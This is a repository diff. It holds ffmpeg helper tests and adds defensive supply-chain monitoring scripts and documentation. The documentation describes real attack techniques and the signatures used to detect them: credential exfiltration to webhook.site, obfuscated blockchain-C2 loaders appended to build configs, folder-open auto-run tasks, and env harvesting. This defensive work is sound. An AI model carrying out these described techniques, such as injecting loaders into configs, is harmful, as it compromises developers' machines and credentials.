+bash "$S/verify-commands.sh" --bogus >/dev/null 2>&1;      expect_exit "verify-commands unknown flag -> 2" 2 $?
+
+# ── structural: documented failure exits ────────────────────────────────────
+echo "-- exit codes --"
+"$PYTHON" "$S/probe-media.py" "$SB/nope.mp4" >/dev/null 2>&1
+rc=$?; [[ "$rc" == 3 || "$rc" == 5 ]] && ok "probe missing file -> 3 (or 5 sans ffprobe; got $rc)" \
+  || no "probe missing file (want 3/5 got $rc)"
+"$PYTHON" "$S/cut-from-edl.py" "$SB/nope.json" >/dev/null 2>&1; expect_exit "edl missing -> 3" 3 $?
+printf 'not json' > "$SB/bad.json"
+"$PYTHON" "$S/cut-from-edl.py" "$SB/bad.json" >/dev/null 2>&1; expect_exit "edl not json -> 4" 4 $?
+printf '{"scenes":[]}' > "$SB/empty.json"
+"$PYTHON" "$S/cut-from-edl.py" "$SB/empty.json" >/dev/null 2>&1; expect_exit "edl empty scenes -> 4" 4 $?
+printf '{"scenes":[{"clips":[{"file":"a.mp4","start":5,"end":2}]}]}' > "$SB/inv.json"
+"$PYTHON" "$S/cut-from-edl.py" "$SB/inv.json" >/dev/null 2>&1; expect_exit "edl end<=start -> 4" 4 $?
+"$PYTHON" "$S/gen-luts.py" --variants not_a_look >/dev/null 2>&1; expect_exit "gen-luts unknown look -> 2" 2 $?
+"$PYTHON" "$S/quality-compare.py" --metrics bogus a b >/dev/null 2>&1; expect_exit "quality bad metric -> 2" 2 $?
+"$PYTHON" "$S/make-chapters.py" --from-scenes >/dev/null 2>&1; expect_exit "chapters detection w/o --media -> 2" 2 $?
+"$PYTHON" "$S/smart-compress.py" --target not_a_size x.mp4 >/dev/null 2>&1; expect_exit "smart-compress bad size -> 2" 2 $?
+"$PYTHON" "$S/make-sprites.py" --interval 0 x.mp4 >/dev/null 2>&1; expect_exit "make-sprites bad interval -> 2" 2 $?
+"$PYTHON" "$S/make-chapters.py" --chapters "$SB/nope.json" --duration 60 >/dev/null 2>&1; expect_exit "chapters file missing -> 3" 3 $?
+printf 'not json' > "$SB/badch.json"
+"$PYTHON" "$S/make-chapters.py" --chapters "$SB/badch.json" --duration 60 >/dev/null 2>&1; expect_exit "chapters bad json -> 4" 4 $?
+
+# ── structural: chapter formatting (no ffmpeg required via --duration) ───────
+echo "-- make-chapters formats --"
+printf '[{"start":0,"title":"Intro"},{"start":65,"title":"Topic = One"},{"start":130,"title":"Wrap"}]' > "$SB/ch.json"
+out="$("$PYTHON" "$S/make-chapters.py" --chapters "$SB/ch.json" --duration 200 2>/dev/null)"; rc=$?
+expect_exit "ffmetadata from explicit JSON -> 0" 0 "$rc"
+expect_has  "ffmetadata header" ";FFMETADATA1" "$out"
+expect_has  "ffmetadata escapes '=' in title" 'Topic \= One' "$out"
+out="$("$PYTHON" "$S/make-chapters.py" --chapters "$SB/ch.json" --duration 200 --format youtube 2>/dev/null)"
+expect_has  "youtube format starts at 0:00" "0:00 Intro" "$out"
+out="$("$PYTHON" "$S/make-chapters.py" --chapters "$SB/ch.json" --duration 200 --format vtt 2>/dev/null)"
+expect_has  "vtt format header" "WEBVTT" "$out"
+
+# ── structural: EDL dry-run (no ffmpeg required) ─────────────────────────────
+echo "-- cut-from-edl dry-run --"
+printf '{"scenes":[{"scene":1,"selection_rationale":"test","clips":[{"file":"takes/a.mp4","start":1.5,"end":4.0}]}]}' > "$SB/edit.json"
+out="$("$PYTHON" "$S/cut-from-edl.py" "$SB/edit.json" 2>/dev/null)"; rc=$?
+expect_exit "dry-run with absent sources -> 0" 0 "$rc"
+expect_has  "dry-run prints ffmpeg commands" "ffmpeg" "$out"
+expect_has  "dry-run includes concat step" "concat" "$out"
+
+# ── structural: pure-python LUT generation ───────────────────────────────────
+echo "-- gen-luts --"
+out="$("$PYTHON" "$S/gen-luts.py" --variants warm_filmic --size 17 --out-dir "$SB/luts" 2>/dev/null)"; rc=$?
+expect_exit "gen-luts size 17 -> 0" 0 "$rc"
+[[ -f "$SB/luts/warm_filmic.cube" ]] && ok "cube file written" || no "cube file written"
+head -5 "$SB/luts/warm_filmic.cube" | grep -q "LUT_3D_SIZE 17" && ok "cube header size" || no "cube header size"
+rows="$(grep -cE '^[0-9]' "$SB/luts/warm_filmic.cube")"
+[[ "$rows" == "4913" ]] && ok "cube row count 17^3" || no "cube row count (want 4913 got $rows)"
+out="$("$PYTHON" "$S/gen-luts.py" --variants neutral709 --size 17 --out-dir "$SB/luts" --json 2>/dev/null)"
+expect_has "gen-luts --json envelope" '"schema": "claude-mods.ffmpeg-ops.luts/v1"' "$out"
+"$PYTHON" "$S/gen-luts.py" --variants noir_bw,pastel,golden_hour,sepia,technicolor2,matrix_green --size 17 --out-dir "$SB/luts" >/dev/null 2>&1
+expect_exit "gen-luts look-recipe variants -> 0" 0 $?
+# noir_bw is sat=0: every lattice row must be greyscale (R==G==B)
+nongrey="$(grep -E '^[0-9]' "$SB/luts/noir_bw.cube" | awk '{if ($1!=$2 || $2!=$3) c++} END{print c+0}')"
+[[ "$nongrey" == "0" ]] && ok "noir_bw LUT is true greyscale" || no "noir_bw LUT greyscale ($nongrey colored rows)"
+# sepia channel-mix: mid-grey input (grid 8,8,8 of 17^3 = data row 2457) maps warm (R>G>B)
+grep -E '^[0-9]' "$SB/luts/sepia.cube" | awk 'NR==2457{ok=($1>$2 && $2>$3)} END{exit !ok}' \
+  && ok "sepia LUT maps mid-grey warm (R>G>B)" || no "sepia LUT mid-grey warmth"
+# duotone gradient map: cyanotype black input -> shadow color (B dominant), white -> highlight (near-white)
+"$PYTHON" "$S/gen-luts.py" --variants duo_cyanotype,duo_synthwave --size 17 --out-dir "$SB/luts" >/dev/null 2>&1
+expect_exit "gen-luts duotone variants -> 0" 0 $?
+grep -E '^[0-9]' "$SB/luts/duo_cyanotype.cube" | awk 'NR==1{ok=($3>$1)} END{exit !ok}' \
+  && ok "cyanotype LUT black -> blue shadow" || no "cyanotype LUT black -> blue shadow"
+grep -E '^[0-9]' "$SB/luts/duo_cyanotype.cube" | awk 'NR==4913{ok=($1>0.85 && $2>0.9 && $3>0.95)} END{exit !ok}' \
+  && ok "cyanotype LUT white -> paper highlight" || no "cyanotype LUT white -> paper highlight"
+# tritone split: cool shadows (B>R at black) AND warm highlights (R>B at white)
+"$PYTHON" "$S/gen-luts.py" --variants tri_split_classic --size 17 --out-dir "$SB/luts" >/dev/null 2>&1
+expect_exit "gen-luts tritone variant -> 0" 0 $?
+grep -E '^[0-9]' "$SB/luts/tri_split_classic.cube" | awk 'NR==1{ok=($3>$1)} END{exit !ok}' \
+  && ok "tritone split: cool shadows" || no "tritone split: cool shadows"
+grep -E '^[0-9]' "$SB/luts/tri_split_classic.cube" | awk 'NR==4913{ok=($1>$3)} END{exit !ok}' \
+  && ok "tritone split: warm highlights" || no "tritone split: warm highlights"
+
+# ── structural: offline staleness verifier + assets ─────────────────────────
+echo "-- verify-commands --offline / assets --"
+bash "$S/verify-commands.sh" --offline >/dev/null 2>&1; expect_exit "verifier --offline clean" 0 $?
+for a in "$SKILL"/assets/*.json; do
+  "$PYTHON" -c "import json,sys; json.load(open(sys.argv[1], encoding='utf-8'))" "$a" \
+    >/dev/null 2>&1 && ok "asset parses: $(basename "$a")" || no "asset parses: $(basename "$a")"
+done
+
+# ── media round-trips (only with ffmpeg on PATH) ─────────────────────────────
+if ! command -v ffmpeg >/dev/null 2>&1 || ! command -v ffprobe >/dev/null 2>&1; then
+  echo ""
+  echo "  SKIP  ffmpeg/ffprobe not on PATH — media round-trip tests NOT run."
+  echo "        (structural suite above still gates; install ffmpeg for full coverage)"
+else
+  echo "-- media round-trips (lavfi fixtures) --"
+  FIX="$SB/fixture.mp4"
+  ffmpeg -v error -y -f lavfi -i testsrc2=duration=2:size=320x180:rate=30 \
+    -f lavfi -i "sine=frequency=440:duration=2" \
+    -c:v libx264 -pix_fmt yuv420p -c:a aac -shortest "$FIX" 2>/dev/null
+  [[ -f "$FIX" ]] && ok "fixture synthesized" || no "fixture synthesized"
+
+  out="$("$PYTHON" "$S/probe-media.py" "$FIX" 2>/dev/null)"; rc=$?
+  expect_exit "probe fixture -> 0" 0 "$rc"
+  expect_has  "probe reports video" "h264 320x180" "$out"
+  out="$("$PYTHON" "$S/probe-media.py" --json "$FIX" 2>/dev/null)"
+  expect_has  "probe --json envelope" '"schema": "claude-mods.ffmpeg-ops.probe/v1"' "$out"
+  "$PYTHON" "$S/probe-media.py" --keyframes-near 1.0 "$FIX" >/dev/null 2>&1
+  expect_exit "probe --keyframes-near -> 0" 0 $?
+  printf 'plain text' > "$SB/not-media.mp4"
+  "$PYTHON" "$S/probe-media.py" "$SB/not-media.mp4" >/dev/null 2>&1
+  expect_exit "probe non-media -> 4" 4 $?
+
+  # tone (1s) + silence (1s): silence and speech segments both detectable
+  WAV="$SB/tone-silence.wav"
+  ffmpeg -v error -y -f lavfi -i "sine=frequency=440:duration=1" \
+    -af "apad=pad_dur=1" -c:a pcm_s16le "$WAV" 2>/dev/null
+  out="$("$PYTHON" "$S/detect-segments.py" --silence --min-silence 0.4 "$WAV" 2>/dev/null)"; rc=$?
+  expect_exit "detect-segments --silence -> 0" 0 "$rc"
+  expect_has  "finds the silence" "silence" "$out"
+  expect_has  "derives speech segment" "speech" "$out"
+  "$PYTHON" "$S/detect-segments.py" --scenes "$FIX" >/dev/null 2>&1
+  expect_exit "detect-segments --scenes -> 0" 0 $?
+
+  out="$("$PYTHON" "$S/loudnorm-scan.py" "$FIX" --json 2>/dev/null)"; rc=$?
+  expect_exit "loudnorm-scan -> 0" 0 "$rc"
+  expect_has  "emits pass-2 filter" "measured_I" "$out"
+
+  "$PYTHON" "$S/quality-compare.py" "$FIX" "$FIX" --metrics ssim >/dev/null 2>&1
+  expect_exit "quality self-compare -> 0" 0 $?
+  out="$("$PYTHON" "$S/quality-compare.py" "$FIX" "$FIX" --metrics ssim --json 2>/dev/null)"
+  expect_has "ssim of identical ~1" '"all": 1' "$out"
+  if ffmpeg -hide_banner -filters 2>/dev/null | grep -q libvmaf; then
+    "$PYTHON" "$S/quality-compare.py" "$FIX" "$FIX" --metrics vmaf --min-vmaf 95 >/dev/null 2>&1
+    expect_exit "vmaf self-compare above threshold -> 0" 0 $?
+  else
+    echo "  SKIP  vmaf (libvmaf not in this build)"
+  fi
+
+  printf '{"scenes":[{"scene":1,"clips":[{"file":"%s","start":0.2,"end":1.0},{"file":"%s","start":1.2,"end":1.8}]}]}' \
+    "$(basename "$FIX")" "$(basename "$FIX")" > "$SB/cutme.json"
+  "$PYTHON" "$S/cut-from-edl.py" "$SB/cutme.json" --execute -o "$SB/final.mp4" >/dev/null 2>&1
+  rc=$?
+  expect_exit "cut-from-edl --execute -> 0" 0 "$rc"
+  [[ -f "$SB/final.mp4" ]] && ok "EDL final output exists" || no "EDL final output exists"
+  dur="$(ffprobe -v error -show_entries format=duration -of default=nw=1:nk=1 "$SB/final.mp4" 2>/dev/null)"
+  "$PYTHON" -c "import sys; d=float(sys.argv[1]); sys.exit(0 if 1.0 < d < 1.9 else 1)" "${dur:-0}" \
+    && ok "EDL output duration ~1.4s (got ${dur}s)" || no "EDL output duration (got ${dur}s)"
+
+  # regression (live E2E find): -o resolves against the CWD and the output dir
+  # is created BEFORE ffmpeg opens the temp file (was: mkdir after concat ->
+  # cryptic "Error opening output files" for any -o into a new directory)
+  ( cd "$SB" && "$PYTHON" "$S/cut-from-edl.py" cutme.json --execute -o "newdir/out2.mp4" >/dev/null 2>&1 )
+  expect_exit "cut-from-edl -o cwd-relative into new dir -> 0" 0 $?
+  [[ -f "$SB/newdir/out2.mp4" ]] && ok "-o resolved vs CWD, dest dir auto-created" \
+    || no "-o resolved vs CWD, dest dir auto-created"
+
+  "$PYTHON" "$S/make-chapters.py" --from-silence --media "$FIX" --min-gap 0.2 \
+    --write "$SB/chaptered.mp4" >/dev/null 2>&1
+  expect_exit "make-chapters --write -> 0" 0 $?
+  nch="$(ffprobe -v error -show_entries chapter=start_time -of csv=p=0 "$SB/chaptered.mp4" 2>/dev/null | grep -c .)"
+  [[ "${nch:-0}" -ge 1 ]] && ok "muxed file has chapters ($nch)" || no "muxed file has chapters (got ${nch:-0})"
+
+  out="$("$PYTHON" "$S/gen-luts.py" --variants neutral709 --size 17 --out-dir "$SB/lutsprev" \
+    --previews "$FIX" --frame-at 0.5 2>/dev/null)"; rc=$?
+  expect_exit "gen-luts --previews -> 0" 0 "$rc"
+  [[ -f "$SB/lutsprev/preview_neutral709.png" ]] && ok "preview still rendered" || no "preview still rendered"
+  [[ -f "$SB/lutsprev/index.html" ]] && ok "chooser index.html written" || no "chooser index.html written"
+
+  # --doctor: synthesized fixture has moov AFTER mdat (no faststart) -> finding
+  out="$("$PYTHON" "$S/probe-media.py" --doctor "$FIX" 2>/dev/null)"; rc=$?
+  expect_exit "doctor flags non-faststart fixture -> 10" 10 "$rc"
+  expect_has  "doctor names the moov issue" "faststart" "$out"
+  ffmpeg -v error -y -i "$FIX" -c copy -movflags +faststart "$SB/fast.mp4" 2>/dev/null
+  "$PYTHON" "$S/probe-media.py" --doctor "$SB/fast.mp4" >/dev/null 2>&1
+  expect_exit "doctor clean after faststart remux -> 0" 0 $?
+  "$PYTHON" "$S/probe-media.py" --doctor "$WAV" >/dev/null 2>&1
+  expect_exit "doctor on audio-only -> 0 (info only)" 0 $?
+
+  "$PYTHON" "$S/smart-compress.py" --target 150KB --preset fast \
+    -o "$SB/small.mp4" "$SB/fast.mp4" >/dev/null 2>&1
+  expect_exit "smart-compress -> 0" 0 $?
+  sz="$(wc -c < "$SB/small.mp4" 2>/dev/null | tr -d ' ')"
+  [[ "${sz:-999999}" -le 150000 ]] && ok "compressed under target ($sz <= 150000)" \
+    || no "compressed under target (got ${sz:-missing})"
+
+  "$PYTHON" "$S/make-sprites.py" --interval 0.5 --width 64 --cols 2 --rows 2 \
+    --out-dir "$SB/sprites" "$FIX" >/dev/null 2>&1
+  expect_exit "make-sprites -> 0" 0 $?
+  [[ -f "$SB/sprites/sprite_01.jpg" ]] && ok "sprite sheet written" || no "sprite sheet written"
+  grep -q "xywh=64,0,64" "$SB/sprites/thumbs.vtt" 2>/dev/null \
+    && ok "vtt has correct xywh geometry" || no "vtt has correct xywh geometry"
+
+  bash "$S/capability-scan.sh" --quick >/dev/null 2>&1
+  expect_exit "capability-scan --quick -> 0" 0 $?
+  bash "$S/verify-commands.sh" --live >/dev/null 2>&1
+  rc=$?; [[ "$rc" == 0 ]] && ok "verifier --live clean against installed build" \
+    || no "verifier --live (got $rc — investigate drift findings)"
+fi
+
+echo ""
+echo "=== $PASS passed, $FAIL failed ==="
+[[ "$FAIL" -eq 0 ]] || exit 1
+exit 0

+ 3 - 3
skills/summon/SKILL.md

@@ -85,11 +85,11 @@ Output follows the [Terminal Panel Design System](../../docs/TERMINAL-DESIGN.md)
 ├── 4 sessions · from 1 account · last 3d
-├── mack@evolution7.com.au (4)
-│   ├── X:\Forge\Axiom (2)
+├── dev@example.com (4)
+│   ├── X:\Projects\Axiom (2)
 │   │   ├──  1. train-fasttext                    30t            16h
 │   │   └──  2. make-doom-for-mips                64t            16h
-│   └── X:\Forma\00_workspaces\evolution7 (2)
+│   └── X:\Work\client-site (2)
 │       ├──  3. timekeeper                        35t            16h
 │       └──  4. agency-os                         17t            16h

+ 133 - 5
skills/supply-chain-defense/SKILL.md

@@ -65,10 +65,28 @@ editor extensions** against an IOC catalog seeded with cited 2026 incidents (axi
 1.14.1, Laravel-Lang tag rewrite, Nx Console 18.95.0 → the GitHub breach). For fleet-scale exposure response
 on macOS/Linux, see Bumblebee in `references/tooling-landscape.md`.
 
+Watching what already-running code **does on the network** — an unexplained UAC
+prompt, a process you can't place, or just wanting a tripwire for the
+post-compromise phase: a stealer that already landed exfiltrates as an *outbound
+connection* (Shai-Hulud phoned home to `webhook.site`). On Windows,
+`scripts/phone-home-monitor.ps1` maps every outbound TCP connection to its owning
+process + parent chain + signing status and flags interpreter/raw-IP/IOC/
+package-manager-child patterns. See `references/phone-home-monitoring.md`.
+
+Defending a repo you *already own* against being poisoned in place — the
+**config-as-code / trusted-repo** class (PolinRider / EtherHiding, DPRK UNC5342)
+where the dependency tree stays clean and an obfuscated blockchain-C2 loader is
+appended to your own `vite.config.js` / `tailwind.config.js` / `.vscode/tasks.json`,
+then propagated by backdated false-flag force-pushes. The dependency scanners are
+blind to this; `scripts/config-drift-check.py` (pre-commit + CI) plus the
+branch-protection / signed-commits / hardware-key discipline in
+`references/repo-integrity.md` cover it. Workflow L.
+
 Wanting proof the skill covers a specific attack — the
 `references/threat-model.md` "Coverage" matrix maps every 2026 vector
 (maintainer compromise, OIDC theft, lifecycle scripts, persistence hooks, forged
-provenance, tag-rewrite, malicious extensions, MCP attacks) to its control + caveat.
+provenance, tag-rewrite, malicious extensions, MCP attacks, **config-as-code /
+trusted-repo poisoning**) to its control + caveat.
 
 ## Overview
 
@@ -87,7 +105,11 @@ This skill is the operational complement to two siblings:
 > `references/threat-model.md` for why lockfiles, `npm audit`, 2FA, and even
 > Sigstore/SLSA provenance were each bypassed in the wild in 2026.
 
-## The four layers
+## The layers
+
+Layers 1–5 are **dependency-integrity** (is a package I pull malicious?). Layer 6 is
+a **separate detection surface — repo-integrity** (is a repo I already own being
+poisoned in place?). They are not the same problem; see the note below.
 
 | Layer | Control | What it stops |
 |---|---|---|
@@ -95,6 +117,22 @@ This skill is the operational complement to two siblings:
 | 2. Interception | `socket` CLI wrapper + `pre-install-scan.sh` hook | Lifecycle scripts (`postinstall`, sdist `setup.py`) executing on install |
 | 3. Hygiene | Stale-OIDC audit, dep cooldown, token rotation, extension audit | The *entry points* worms use to mint publish access |
 | 4. Self-integrity + exposure | `integrity-audit.sh` (persistence hooks in AI-tool / editor configs) + `exposure-check.py` (am I running a named-bad package?) | Worm persistence on *this* machine; latent exposure to a fresh advisory |
+| 5. Post-install behavioural | `postinstall-audit.py` (what's already unpacked actually *does*) + `phone-home-monitor.ps1` (what it's *connecting to*) | A poisoned release that slipped past layers 1–2 and is now on disk / exfiltrating |
+| 6. **Repo-integrity** | `config-drift-check.py` (config-as-code injection in build configs / `tasks.json`) + branch-protection / signed-commits / hardware-key discipline (`references/repo-integrity.md`) | **Trusted-repo poisoning** (PolinRider / EtherHiding) — a build-config loader + backdated false-flag force-push that the dependency scanners never see |
+
+Layers 1–3 act before code runs; 4–5 assume something already got through and hunt
+for it on disk and on the wire. `exposure-check.py` answers "do I have a *named-bad*
+package?"; `postinstall-audit.py` answers "is *any* installed package *behaving* like
+malware?" — the unknown-bad case a fresh advisory hasn't caught up to yet.
+
+> **Layer 6 is a different axis, not a deeper layer.** Layers 1–5 all reason about
+> the **dependency tree** — Socket, depscore, the cooldown, `exposure-check.py`, and
+> `postinstall-audit.py` are *structurally blind* to a poisoned `vite.config.js` /
+> `tailwind.config.js` / `.vscode/tasks.json`, because that code never enters as a
+> package. The 2026 PolinRider / EtherHiding campaign (DPRK UNC5342) reached at least
+> one company via a clean dependency tree and a single shared deploy key. Layer 6 —
+> content-diffing first-party config files plus git-provenance discipline — is the
+> only thing that catches it. Workflow L and `references/repo-integrity.md`.
 
 ## Cost reality — free is enough to start
 
@@ -288,6 +326,89 @@ broader ecosystem + extension + MCP coverage), use Perplexity's **Bumblebee** 
 whose catalog format this borrows. It does not run on Windows; `exposure-check.py`
 is the cross-platform local equivalent. See `references/tooling-landscape.md`.
 
+### J. Outbound phone-home monitoring (Windows — the post-compromise tripwire)
+
+Layers 1–4 act at install time or at rest; nothing above watches what running code
+*does on the network*. `scripts/phone-home-monitor.ps1` closes that gap:
+
+```powershell
+pwsh -NoProfile -File scripts/phone-home-monitor.ps1            # one snapshot, exit 10 on findings
+pwsh -NoProfile -File scripts/phone-home-monitor.ps1 -Status    # which capture sources exist here?
+pwsh -NoProfile -File scripts/phone-home-monitor.ps1 -Watch -IntervalSeconds 30   # continuous, ring-buffer log
+pwsh -NoProfile -File scripts/phone-home-monitor.ps1 -InstallTask                 # logon daemon (T3 — confirm)
+```
+
+Flags: IOC endpoints (`assets/network-ioc.json` — webhook.site is the cited
+Shai-Hulud exfil drop), binaries under `node_modules`/Temp, children of package
+managers (lifecycle-script behaviour), interpreters hitting raw public IPs,
+unsigned userland binaries. **Tool-first:** the preferred continuous source is
+Sysmon Event ID 3 with the SwiftOnSecurity config (`-Sysmon` consumes it; exit 5
+with the install one-liner when absent); TCP-table polling is the zero-install
+default. Full evaluation (Sysmon vs WFP 5156 vs polling vs tshark), wiring, and
+triage playbook: `references/phone-home-monitoring.md`. A finding routes back into
+H/I: `integrity-audit.sh` + `exposure-check.py` + credential rotation.
+
+### K. Post-install behavioural sweep — "is anything already on disk misbehaving?"
+
+`exposure-check.py` (workflow I) answers the *known-bad* question; this answers the
+*unknown-bad* one. `scripts/postinstall-audit.py` walks installed `node_modules` and
+Python `site-packages` and flags what packages actually *do* — not what an advisory
+named:
+
+```bash
+python scripts/postinstall-audit.py --root ~/code              # exit 10 on a finding
+python scripts/postinstall-audit.py --root . --json | jq '.data.findings[]'
+python scripts/postinstall-audit.py --root . --deep            # GuardDog confirms each flag
+python scripts/postinstall-audit.py --root . --live            # is a flagged npm version still published?
+```
+
+It flags shell/downloader lifecycle scripts, credential-path reads paired with exfil
+endpoints, env harvesting, obfuscation, persistence writes, and files modified after
+install. Findings need a **two-signal combo** (cred+net, env+net) so real `node_modules`
+trees don't false-alarm — the lesson from an earlier cut that lit up `three.js`/`vite`
+on `eval`+base64 alone. An **incremental fingerprint cache** makes it daily-runnable
+(only changed trees rescan), so wire it as a scheduled task — see
+`references/postinstall-audit.md` for the Task Scheduler / Claude Code cron recipes and
+the GuardDog/OSV/Socket tool evaluation. A high finding is an incident: isolate → read
+the flagged file → rotate credentials → confirm with `--deep` + `exposure-check.py`.
+
+### L. Repo-integrity / config-drift — "is a repo I *own* being poisoned in place?"
+
+Workflows A–K all defend the **dependency tree** (or watch its network egress). This
+one defends a different surface: the **trusted-repo / config-as-code** class
+(PolinRider / EtherHiding, DPRK UNC5342), where the dependency tree stays clean and
+the payload is committed into your own build configs. The dependency scanners are
+structurally blind to it — see the Layer-6 note above and
+`references/threat-model.md` vector #12.
+
+`scripts/config-drift-check.py` is the on-disk detector. Run it two ways:
+
+```bash
+python scripts/config-drift-check.py --root .             # CI / full-repo sweep, exit 10 on finding
+python scripts/config-drift-check.py --staged             # pre-commit: only staged config files
+python scripts/config-drift-check.py --root . --json | jq '.data.findings[]'
+```
+
+It scans build configs (`vite/tailwind/webpack/next/rollup/postcss/svelte/astro.config.*`),
+`.vscode/tasks.json`, and `package.json` scripts for the Stage-2 injection signatures:
+blockchain explorer-API / RPC dead-drop endpoints (the EtherHiding payload read —
+`assets/network-ioc.json` `ETHERHIDING-BLOCKCHAIN-C2`), `eval` / `new Function` /
+shell-exec, Buffer-XOR decode loops, outbound network in a config that shouldn't have
+any, hex-var (`_0x..`) / long-escape obfuscation, an obfuscated appended blob, and
+`tasks.json` `runOn:folderOpen` auto-run. Zero-dependency, read-only.
+
+Wire it as a **pre-commit hook** (`--staged`, catches it before it's committed) **and**
+a **CI status check** (catches a force-pushed injection at the gate). A finding is an
+incident: read the flagged file, check the commit's **signature + server-side push
+timestamp** (a backdated author date lies; the push event doesn't), and rotate any
+credential the build could have touched.
+
+The detector is half the defense. The other half is **prevention + attribution** —
+no shared/standing keys, hardware-backed signing keys a RAT can't read, branch
+protection requiring **signed** commits and blocking force-push, server-side push-log
+as ground truth, build/env isolation, and VS Code Workspace Trust with auto-run tasks
+disabled. The full kill-chain-mapped playbook is `references/repo-integrity.md`.
+
 ## Hook setup — two checkpoints for the two ways a dep enters
 
 A dependency reaches a local machine two ways, and each gets an advisory hook:
@@ -344,7 +465,7 @@ Both read the tool call as JSON on stdin (`.tool_input`), falling back to `$1`.
 
 ## Scripts
 
-All four follow the Axiom Tool Protocol: `--help` with EXAMPLES, `--json` for
+All seven follow the Axiom Tool Protocol: `--help` with EXAMPLES, `--json` for
 machine-readable output, stdout = data / stderr = progress, semantic exit codes
 (0 ok, 2 usage, 3 not-found, 4 invalid, 5 missing-dep, 7 unavailable, **10 = signal
 found** — review items / inside-cooldown / exposed / behavioural finding).
@@ -365,15 +486,19 @@ interact" for the minimum viable set.
 | `scripts/integrity-audit.sh` | Scan AI-tool configs (Claude Code/Desktop, Gemini, MCP host JSON) + editor settings (VS Code, Cursor, Windsurf, VSCodium) for injected persistence hooks/MCP servers; flag workflows with live OIDC publish trust (uses `zizmor` if installed). Exit 10 if anything to review. | Read-only |
 | `scripts/preinstall-check.sh` | Given package specs, report registry publish age (npm/PyPI), flag any inside the cooldown window, route to `socket` if available. Exit 10 if any inside cooldown. | Read-only (queries registries) |
 | `scripts/exposure-check.py` | Match on-disk **npm (package-lock/pnpm/yarn) / PyPI / Composer / Cargo / Go / RubyGems** lockfiles **and installed editor extensions** against an IOC catalog (`assets/exposure-catalog.json`) — the "are we running a named-bad version/extension?" check. Supports a `*` wildcard for tag-rewrite attacks. Exit 10 if exposed. Catalog format borrowed from Bumblebee. | Read-only |
+| `scripts/phone-home-monitor.ps1` | **Windows outbound-connection tripwire** — map every outbound TCP connection to owning process + parent chain + signing status; flag IOC endpoints (`assets/network-ioc.json`), `node_modules`/Temp binaries, package-manager children, interpreter→raw-IP. Sources: Sysmon EID 3 (`-Sysmon`, preferred) or TCP-table polling (default). `-Watch`/`-InstallTask` for continuous capture with a ring-buffer JSONL log. Exit 10 on medium+ findings. | Read-only (except `-InstallTask`, which registers a logon scheduled task) |
+| `scripts/postinstall-audit.py` | **On-disk behavioural scan** — walks installed `node_modules` + Python `site-packages` under `--root` dirs and flags what already-unpacked packages *do*: shell/downloader lifecycle scripts, credential-path reads paired with exfil endpoints, env harvesting, obfuscation, persistence writes, files modified after install (tamper). Two-signal combos to avoid `node_modules` false-positives. Incremental per-package fingerprint cache (daily-runnable); `--deep` confirms flags with GuardDog; `--live` checks the registry still serves a flagged npm version (unpublished = IOC). Exit 10 on findings ≥ `--min-severity`, 7 if `--live` registry unreachable. See `references/postinstall-audit.md`. | Read-only |
+| `scripts/config-drift-check.py` | **Repo-integrity / config-as-code scanner** (layer 6) — scans build configs (`vite/tailwind/webpack/next/rollup/postcss/svelte/astro.config.*`), `.vscode/tasks.json`, and `package.json` scripts for PolinRider/EtherHiding injection: blockchain explorer-API / RPC dead-drop endpoints (extends from `assets/network-ioc.json`), `eval`/`new Function`/shell-exec, Buffer-XOR decode loops, outbound network in a config, `_0x..`/long-escape obfuscation, an obfuscated appended blob, and `tasks.json` `runOn:folderOpen` auto-run. `--staged` for pre-commit, `--root` for CI. Exit 10 on a finding. Zero-dep. See `references/repo-integrity.md`. | Read-only |
 | `scripts/scan-extensions.sh` | **Unknown-bad** triage of installed editor extensions / Claude plugins / skills. Default = zero-dep **inventory + recency** (no false positives). `--deep` auto-detects `guarddog`+`semgrep`: runs the behavioural scan if present (exit 10 on a finding), else runs inventory only and *loudly recommends* the on-demand install — never a false-clean. | Read-only |
 
 ```bash
 scripts/integrity-audit.sh --json | jq '.data.review[]'
 scripts/preinstall-check.sh --pip requests fastapi@0.110.0 --json | jq '.data[] | select(.inside_cooldown)'
+pwsh -NoProfile -File scripts/phone-home-monitor.ps1 -Json | jq '.data.findings[]'
 ```
 
-`tests/run.sh` is an offline-deterministic self-test (18 assertions) covering all
-three scripts + the hook against crafted fixtures — run it after any edit:
+`tests/run.sh` is an offline-deterministic self-test (107 assertions) covering all
+seven scripts + the hooks against crafted fixtures — run it after any edit:
 `bash tests/run.sh` (exit 0 = all pass).
 
 ## Reference files
@@ -383,6 +508,9 @@ three scripts + the hook against crafted fixtures — run it after any edit:
 | `references/threat-model.md` | 2026 timeline (axios, Shai-Hulud, durabletask, Nx, GitHub breach), worm mechanics, IOCs, and why each legacy control failed |
 | `references/socket-cli.md` | Accurate Socket CLI + depscore MCP command surface, free-vs-paid table, Claude Code setup, source links, briefing corrections |
 | `references/tooling-landscape.md` | The wider (mostly free/OSS) defender ecosystem — GuardDog, OSV-Scanner, zizmor, Harden-Runner, lockfile-lint, `ignore-scripts` — mapped to the four layers, with a when-to-use-which matrix |
+| `references/phone-home-monitoring.md` | Outbound-monitoring tooling evaluation (Sysmon EID 3 + SwiftOnSecurity config vs WFP 5156 vs TCP-table polling vs tshark), Sysmon wiring, the monitor's rule/severity table, daemon tiers, triage playbook, honest limitations |
+| `references/postinstall-audit.md` | On-disk behavioural scan rationale — the post-install gap, the finding/severity table, the false-positive lesson (combos not singletons), incremental cache, `--deep`/`--live` modes, GuardDog/OSV/Socket tool evaluation, daily scheduling (Task Scheduler + Claude Code cron), incident response |
+| `references/repo-integrity.md` | **Repo-integrity / config-as-code defense** (PolinRider / EtherHiding) — the kill-chain-mapped playbook for trusted-repo poisoning: no shared/standing keys, hardware-backed signing keys, branch protection requiring signed commits + no force-push (why signing defeats the backdated false-flag), server-side push-log as ground truth, build/env isolation, VS Code Workspace Trust, and the `config-drift-check.py` pre-commit + CI gate |
 | `references/hardening-checklist.md` | Step-by-step OIDC audit, token rotation, dep cooldown policy, extension audit, persistence detection, client-proposal language |
 
 ## See also

+ 61 - 0
skills/supply-chain-defense/assets/network-ioc.json

@@ -0,0 +1,61 @@
+{
+  "schema_version": "v0.1.0",
+  "_comment": "Network IOC catalog for phone-home-monitor.ps1. Entries match outbound destinations: 'domains' are suffix-matched against the destination hostname (DNS cache / Sysmon DestinationHostname); 'ips' are exact-matched against the destination IP. Extend from advisories as incidents break — same discipline as exposure-catalog.json. Anonymous request-capture services are listed because credential stealers use them as zero-setup exfil endpoints; if a legitimate workflow on this machine uses one, remove it here or expect (correct) findings.",
+  "entries": [
+    {
